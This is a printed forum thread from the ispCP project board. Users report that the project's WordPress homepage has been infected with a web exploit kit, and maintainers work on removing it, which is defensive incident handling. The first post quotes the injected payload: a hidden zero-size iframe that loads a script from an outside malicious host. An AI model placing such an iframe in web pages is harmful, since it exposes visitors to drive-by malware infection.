ispCP - Board - Support
Malicious Software on isp-control.net - Printable Version

+- ispCP - Board - Support (http://www.isp-control.net/forum)
+-- Forum: ispCP Omega Development Area (/forum-1.html)
+--- Forum: Tickets / Roadmap / Timeline (/forum-50.html)
+--- Thread: Malicious Software on isp-control.net (/thread-15938.html)



Malicious Software on isp-control.net - Omegatcu - 03-21-2012 07:13 PM

On the Homepage is a Web-Exploit-Kit installed.

The malicious code is blocked by most anti-vir programms, but if the visitor don't have one, the exploit will be successful.

You find the malicious code 2-3 lines above:
Code:
</div> <!-- content -->

Please Remove:
Code:
<iframe src="http://globalmin.net/mlt120312d/d6c80532fccf8efb1d885d89cdccad2a/spl.php" width="0" height="0"></iframe><br />

Change passwords to Admin and FTP Accounts and bring Wordpress to the newest version.

If you need any help you can kontakt me: info@solution-work.de

[attachment=1759]


RE: Malicious Software on isp-control.net - weeming21 - 03-22-2012 09:12 PM

firefox and chrome also prompt me that isp-control.net may harm my computer.


RE: Malicious Software on isp-control.net - ephigenie - 03-23-2012 04:14 AM

yes I'm on it - just i cannot find where he inject it.
The wp is the newest one. The templates are clean...
It's only in the generated cache files Sad ...

sry for that though.

I contact omegatcu maybe he's an idea.


RE: Malicious Software on isp-control.net - hnn - 03-23-2012 06:29 PM

(03-23-2012 04:14 AM)ephigenie Wrote:  yes I'm on it - just i cannot find where he inject it.
The wp is the newest one. The templates are clean...
It's only in the generated cache files Sad ...

sry for that though.

I contact omegatcu maybe he's an idea.


it's not in any remote files? (like file_get_contents or similiar)


RE: Malicious Software on isp-control.net - Omegatcu - 03-25-2012 09:42 AM

plz answer my e-Mail Smile i'm sure i can help Smile


RE: Malicious Software on isp-control.net - ephigenie - 03-25-2012 05:16 PM

hi i answered...

and found the code as well i think... shitty wp.
Btw. nothing to worry - the website DB + forum are strictly separated (and of course different db's ) ...


RE: Malicious Software on isp-control.net - ephigenie - 03-25-2012 08:22 PM

Oh and i just triggered a retest from google - so soon the flag should disappear.


RE: Malicious Software on isp-control.net - Omegatcu - 03-25-2012 10:35 PM

Good Job Smile
Thank you Big Grin


RE: Malicious Software on isp-control.net - Athar - 05-05-2012 08:06 PM

And it's here again.

Should be great to fix it definitively no?

(See on http://isp-control.net/downloads-2/ page)